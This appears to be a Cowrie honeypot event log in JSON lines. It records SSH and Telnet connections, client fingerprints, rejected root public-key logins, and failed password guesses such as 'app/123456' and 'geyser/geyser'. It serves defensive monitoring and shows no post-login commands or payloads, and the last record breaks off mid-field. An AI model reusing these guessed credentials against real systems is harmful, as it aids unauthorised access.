{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:26:27.440979Z","src_ip":"106.241.31.17","session":"613cd4ff7a2d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:26:27.639900Z","src_ip":"106.241.31.17","session":"613cd4ff7a2d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"123456","message":"login attempt [app/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:26:28.243696Z","src_ip":"106.241.31.17","session":"613cd4ff7a2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:26:29.446737Z","src_ip":"106.241.31.17","session":"613cd4ff7a2d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.114.156.169","src_port":33212,"dst_ip":"10.17.0.5","dst_port":22,"session":"7378f1bd269c","protocol":"ssh","message":"New connection: 167.114.156.169:33212 (10.17.0.5:22) [session: 7378f1bd269c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:27:40.287825Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:27:40.293211Z","src_ip":"167.114.156.169","session":"7378f1bd269c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:27:40.313659Z","src_ip":"167.114.156.169","session":"7378f1bd269c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c2:8e:04:70:1e:18:ea:20:96:be:25:d3:1f:7a:c3:ba","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDcJL+C9jDVnghD6FcLzBCZwvbMxmaunOzvSFKy/t7jm542oXf4lfTSyRiN7mQTcUoIQe6N+XzRhVPYgTpMEaHXdivZraF/vTnMCCUKBfMpK9MHknq24adgx9lqWLDIzJEYt/CKqRtPGzUfyaUIpv3kvpXTMxXZ8hIVIqlHmozm+iRtmuOsMfN4E+EPjBsIWjI4/6j7rUfvMHJaIjq8hTGmE6sVn3scGzXUob7Ch/f4876o0NQsuWooAZjW9aSvLUXqOXUkd4CksziBHWnVB2T+0yuJ3DhS3KMTwvBky4liQ3rsauPG1bVyr0RbcNSaK0I306fWlGrN4hfrIudi+riJ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c2:8e:04:70:1e:18:ea:20:96:be:25:d3:1f:7a:c3:ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:27:40.392614Z","src_ip":"167.114.156.169","session":"7378f1bd269c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c2:8e:04:70:1e:18:ea:20:96:be:25:d3:1f:7a:c3:ba","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDcJL+C9jDVnghD6FcLzBCZwvbMxmaunOzvSFKy/t7jm542oXf4lfTSyRiN7mQTcUoIQe6N+XzRhVPYgTpMEaHXdivZraF/vTnMCCUKBfMpK9MHknq24adgx9lqWLDIzJEYt/CKqRtPGzUfyaUIpv3kvpXTMxXZ8hIVIqlHmozm+iRtmuOsMfN4E+EPjBsIWjI4/6j7rUfvMHJaIjq8hTGmE6sVn3scGzXUob7Ch/f4876o0NQsuWooAZjW9aSvLUXqOXUkd4CksziBHWnVB2T+0yuJ3DhS3KMTwvBky4liQ3rsauPG1bVyr0RbcNSaK0I306fWlGrN4hfrIudi+riJ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:27:40.396460Z","src_ip":"167.114.156.169","session":"7378f1bd269c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"24:e2:32:ba:e2:6a:38:50:b9:0f:87:05:4c:1b:bc:0b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC1EorT1xzSI5YvidCqEnVtXkYWmqYGmJBsxIy18j2E9FmNBgdm1mwiSyOWst0AbHgOjF+p17J4AuBa2qWeM2ljwTiDafFArouO1Ku+IJjlRoqhPbtqoIx7sCUCZ6zrQJFugF0xW1j/58GCBgNLeMGHdzuXjfV1Yu0r2DcFtJlpE5mKiJMismyxudHyvtWrSTbLVfmTsiuD7TC92q6DO1I1AAzuXEQBxk+YKFeKL7/hKzyWQMW7a2gKbmf1fYEUYWoCkSxGoSCnN1PzkxSANIlNRq0C0CuTx/TdDbILi+VcvSFDhq4uFnEg3+w/wV+52IaIrcpg6OEaSlcs0D4g9gTPdaY/DGUGWqO4PLniCYseBRxye0hNz2O5ydD/jtakWbg/3Q6xB53Wszt1hgEZasDA9pat1U8IazD/8bphnnr2LJ8PICackL3yEWoQt6q8B4k1z+3br446gc1Y5ZWKPIxyK+ZACAyC295Dl+DlRRlNwXnnxYjS4HszUnuXb4FMGUwQIqvuaHuMKnjrY2uWDM6zNyABQ0/SL1F7V9yGa89e17MKoIUKyaqifXRK+L7LUmUKf1K6RnBADoKIwSo7n6GHhjoOWxnxVT6wLf07hIZtkknokDbOXtoHh7ON342SnZTp04tC6V+w2purbaLeyGxQWiGleYhiGQByPyNa3qzw7w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 24:e2:32:ba:e2:6a:38:50:b9:0f:87:05:4c:1b:bc:0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:27:40.417220Z","src_ip":"167.114.156.169","session":"7378f1bd269c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"24:e2:32:ba:e2:6a:38:50:b9:0f:87:05:4c:1b:bc:0b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC1EorT1xzSI5YvidCqEnVtXkYWmqYGmJBsxIy18j2E9FmNBgdm1mwiSyOWst0AbHgOjF+p17J4AuBa2qWeM2ljwTiDafFArouO1Ku+IJjlRoqhPbtqoIx7sCUCZ6zrQJFugF0xW1j/58GCBgNLeMGHdzuXjfV1Yu0r2DcFtJlpE5mKiJMismyxudHyvtWrSTbLVfmTsiuD7TC92q6DO1I1AAzuXEQBxk+YKFeKL7/hKzyWQMW7a2gKbmf1fYEUYWoCkSxGoSCnN1PzkxSANIlNRq0C0CuTx/TdDbILi+VcvSFDhq4uFnEg3+w/wV+52IaIrcpg6OEaSlcs0D4g9gTPdaY/DGUGWqO4PLniCYseBRxye0hNz2O5ydD/jtakWbg/3Q6xB53Wszt1hgEZasDA9pat1U8IazD/8bphnnr2LJ8PICackL3yEWoQt6q8B4k1z+3br446gc1Y5ZWKPIxyK+ZACAyC295Dl+DlRRlNwXnnxYjS4HszUnuXb4FMGUwQIqvuaHuMKnjrY2uWDM6zNyABQ0/SL1F7V9yGa89e17MKoIUKyaqifXRK+L7LUmUKf1K6RnBADoKIwSo7n6GHhjoOWxnxVT6wLf07hIZtkknokDbOXtoHh7ON342SnZTp04tC6V+w2purbaLeyGxQWiGleYhiGQByPyNa3qzw7w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:27:40.420775Z","src_ip":"167.114.156.169","session":"7378f1bd269c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4d:b8:fb:47:ff:e3:da:12:c6:72:ba:47:1f:62:95:83","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC4xjB5OvRssJ+kT1hL6KQGHMFVHe+s8j/RnBRhPaohd67QUfZkXKpC+JoDX60UeWtGBLAtqn7sduEtesUDAWj8hTBJ3zZuCCfws+Gz5iWb5EK/n8eDnWTrxyy9eTpjfQ2Ta2Pv6mn9qXWbSSoKsnrjc3zwWxknWlJUXCc78eh+NiY5m89HWioY+BgDnPl7Yx+6/kfwS0/EWWEUEnPXevLoG6HoRtCUU9OT8qkTWkJZIpfQ1KNaW1XrxHD1VhGJtx3fS6oT3k3L6cQs1/JmqxhPt6LxmAOM3RqbucWJ4scbBf4KBdTClL4mNon3b50E988k8jO44tqa5yiJVW55OrAjDGNy7DL8948rXSK1bNmO5Y+s47FxA3xB3Nm3tcnbed5lJ9NC0rTysanFdOlGhSwXp0bC86O6L5pawjdDcD7q8GyZZm+I7X+dHn0I2PxWNp8D+O9j/DKJzyADu3HzoP6EcpjkvTbQk4ljdCJtXi41Mm3F1kHANIiQfzamW3/4bnwRCvoyhY0s+UCEJy2DxhTJc5g0vcgyKcBYYdiouyvd8m0XI1MCtje83f0cZJImjsET4x2kvpBnbG1SafhHMxeeai1CoX2sdamc8IakfhPeSDO8EQetxfhXR3zaWPqHb+sW95U65NMs+bitJGGhG6IKE9+S3CIoSVeBgKalndhMeQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4d:b8:fb:47:ff:e3:da:12:c6:72:ba:47:1f:62:95:83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:27:40.442772Z","src_ip":"167.114.156.169","session":"7378f1bd269c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4d:b8:fb:47:ff:e3:da:12:c6:72:ba:47:1f:62:95:83","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC4xjB5OvRssJ+kT1hL6KQGHMFVHe+s8j/RnBRhPaohd67QUfZkXKpC+JoDX60UeWtGBLAtqn7sduEtesUDAWj8hTBJ3zZuCCfws+Gz5iWb5EK/n8eDnWTrxyy9eTpjfQ2Ta2Pv6mn9qXWbSSoKsnrjc3zwWxknWlJUXCc78eh+NiY5m89HWioY+BgDnPl7Yx+6/kfwS0/EWWEUEnPXevLoG6HoRtCUU9OT8qkTWkJZIpfQ1KNaW1XrxHD1VhGJtx3fS6oT3k3L6cQs1/JmqxhPt6LxmAOM3RqbucWJ4scbBf4KBdTClL4mNon3b50E988k8jO44tqa5yiJVW55OrAjDGNy7DL8948rXSK1bNmO5Y+s47FxA3xB3Nm3tcnbed5lJ9NC0rTysanFdOlGhSwXp0bC86O6L5pawjdDcD7q8GyZZm+I7X+dHn0I2PxWNp8D+O9j/DKJzyADu3HzoP6EcpjkvTbQk4ljdCJtXi41Mm3F1kHANIiQfzamW3/4bnwRCvoyhY0s+UCEJy2DxhTJc5g0vcgyKcBYYdiouyvd8m0XI1MCtje83f0cZJImjsET4x2kvpBnbG1SafhHMxeeai1CoX2sdamc8IakfhPeSDO8EQetxfhXR3zaWPqHb+sW95U65NMs+bitJGGhG6IKE9+S3CIoSVeBgKalndhMeQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:27:40.446512Z","src_ip":"167.114.156.169","session":"7378f1bd269c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b1:34:b0:db:8d:68:47:f3:c0:cf:f4:53:15:72:62:86","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQD0fZMWiboIx6H/2hcxG87Uy6YitPYZIM9UG9F+hBh6dASb/3Jxfeun3eU7mFnpPSSENaM40tozGXriFIrZ/CKTjlLAOg4E8OsVuErTq2K3YM7lueETXZQo13bQzFMVE0BDUIaIEDGBnV59nYfAEjiuta/0m5iPaVWaPvU2A4+PfGe9fjKUlVGENBONq6ycOGiShKoS/eX9oj+ONUECLmrDzZA0Ak8QbTV7bxHPYmrwXDpfAij1Bp5RHK3Z8THZVIwpsVZpUpfsLPpf82Qqm8Je+UX3i1Xm34+7uOc6fzB6FKUbBF3U5cHAybP/ml3rHs/yTgrvNuCROy9OMiRJtx6bL3UJonQ7Gz4tLYFTgW+TWdSenPPwHyO2qxVgQW8psG66ihGLl+PXGjgU0QS4P6bXd3b6xpep6p8Tnio+y8TaLGFv3OT63K7Q9UGAWgOKaH3lbYZZNlAHK2dqVTVKFiiM0X/tuR2gk+SaALAEvnQMnMRGBNuSgNC0Mj7kT97bECT/O1A7m5PRatT5haHghpQuenI+4aIFjrjajXQtUKcCFV9HV8CybJrC5/+3b7CatD+NymgjQDyDC7E/4LIZa7R4QJrAgKwL6MxWabibm/BszxzeUMfjHVcFaELandCyrrwZ4R/j0chUH21N0/Za/FfA3D3TpkHPDi3KHgxfQBz6jQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b1:34:b0:db:8d:68:47:f3:c0:cf:f4:53:15:72:62:86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:27:40.467841Z","src_ip":"167.114.156.169","session":"7378f1bd269c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b1:34:b0:db:8d:68:47:f3:c0:cf:f4:53:15:72:62:86","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQD0fZMWiboIx6H/2hcxG87Uy6YitPYZIM9UG9F+hBh6dASb/3Jxfeun3eU7mFnpPSSENaM40tozGXriFIrZ/CKTjlLAOg4E8OsVuErTq2K3YM7lueETXZQo13bQzFMVE0BDUIaIEDGBnV59nYfAEjiuta/0m5iPaVWaPvU2A4+PfGe9fjKUlVGENBONq6ycOGiShKoS/eX9oj+ONUECLmrDzZA0Ak8QbTV7bxHPYmrwXDpfAij1Bp5RHK3Z8THZVIwpsVZpUpfsLPpf82Qqm8Je+UX3i1Xm34+7uOc6fzB6FKUbBF3U5cHAybP/ml3rHs/yTgrvNuCROy9OMiRJtx6bL3UJonQ7Gz4tLYFTgW+TWdSenPPwHyO2qxVgQW8psG66ihGLl+PXGjgU0QS4P6bXd3b6xpep6p8Tnio+y8TaLGFv3OT63K7Q9UGAWgOKaH3lbYZZNlAHK2dqVTVKFiiM0X/tuR2gk+SaALAEvnQMnMRGBNuSgNC0Mj7kT97bECT/O1A7m5PRatT5haHghpQuenI+4aIFjrjajXQtUKcCFV9HV8CybJrC5/+3b7CatD+NymgjQDyDC7E/4LIZa7R4QJrAgKwL6MxWabibm/BszxzeUMfjHVcFaELandCyrrwZ4R/j0chUH21N0/Za/FfA3D3TpkHPDi3KHgxfQBz6jQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:27:40.471816Z","src_ip":"167.114.156.169","session":"7378f1bd269c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ae:41:76:6b:b2:c9:b7:c2:e3:9c:a1:9d:e5:38:79:a2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwX711dDtslRO1wLYKUIK8UbSW2xc22WmmoTX+PK1SrtguEhAug3RVgWqTD5y/FTYlxpp4+iJ9S+V5urRoPcye/GSg4vC1AB+IFJaVuCLxPCI2Pod+PHVXsZMbtt+YFcOqbcNYsOXhHcGQdfll6aXVIP0dTP4LxjtikK43bzz59LIjG5rwnrpnxQpZ+3vx6ZSIQT6lBwVrtpWlh8UOHyOZSc5ZKVVp2DOOndtnfWe1BKN1f2TTPy5fa1HNVUaibg24jzKNpEv48YxbLUZ5BT5loWa75ZNA6vRayvx3KttzY0P9iT17NnCKUuZzjUlwYOtUYTq+sSNw99MuQnJed+dJ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ae:41:76:6b:b2:c9:b7:c2:e3:9c:a1:9d:e5:38:79:a2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:27:40.494970Z","src_ip":"167.114.156.169","session":"7378f1bd269c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ae:41:76:6b:b2:c9:b7:c2:e3:9c:a1:9d:e5:38:79:a2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwX711dDtslRO1wLYKUIK8UbSW2xc22WmmoTX+PK1SrtguEhAug3RVgWqTD5y/FTYlxpp4+iJ9S+V5urRoPcye/GSg4vC1AB+IFJaVuCLxPCI2Pod+PHVXsZMbtt+YFcOqbcNYsOXhHcGQdfll6aXVIP0dTP4LxjtikK43bzz59LIjG5rwnrpnxQpZ+3vx6ZSIQT6lBwVrtpWlh8UOHyOZSc5ZKVVp2DOOndtnfWe1BKN1f2TTPy5fa1HNVUaibg24jzKNpEv48YxbLUZ5BT5loWa75ZNA6vRayvx3KttzY0P9iT17NnCKUuZzjUlwYOtUYTq+sSNw99MuQnJed+dJ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:27:40.498885Z","src_ip":"167.114.156.169","session":"7378f1bd269c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:27:40.520033Z","src_ip":"167.114.156.169","session":"7378f1bd269c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":54208,"dst_ip":"159.203.135.109","dst_port":22,"session":"73467e5940ec","protocol":"ssh","message":"New connection: 193.32.162.145:54208 (159.203.135.109:22) [session: 73467e5940ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:28:10.224035Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:28:10.228801Z","src_ip":"193.32.162.145","session":"73467e5940ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:28:10.333104Z","src_ip":"193.32.162.145","session":"73467e5940ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"geyser","password":"geyser","message":"login attempt [geyser/geyser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:28:10.647362Z","src_ip":"193.32.162.145","session":"73467e5940ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:28:11.753900Z","src_ip":"193.32.162.145","session":"73467e5940ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":33764,"dst_ip":"10.17.0.5","dst_port":23,"session":"a2b6b54e0e75","protocol":"telnet","message":"New connection: 180.235.129.180:33764 (10.17.0.5:23) [session: a2b6b54e0e75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:28:23.842085Z"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":33756,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d81855e1015","protocol":"telnet","message":"New connection: 180.235.129.180:33756 (10.17.0.5:23) [session: 3d81855e1015]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:28:23.909668Z"}
{"eventid":"cowrie.session.closed","duration":7.9115495681762695,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:28:31.821113Z","src_ip":"180.235.129.180","session":"3d81855e1015","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"190.244.39.224","src_port":33462,"dst_ip":"10.17.0.5","dst_port":22,"session":"a72611d9b7da","protocol":"ssh","message":"New connection: 190.244.39.224:33462 (10.17.0.5:22) [session: a72611d9b7da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:29:45.588898Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:29:45.598185Z","src_ip":"190.244.39.224","session":"a72611d9b7da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 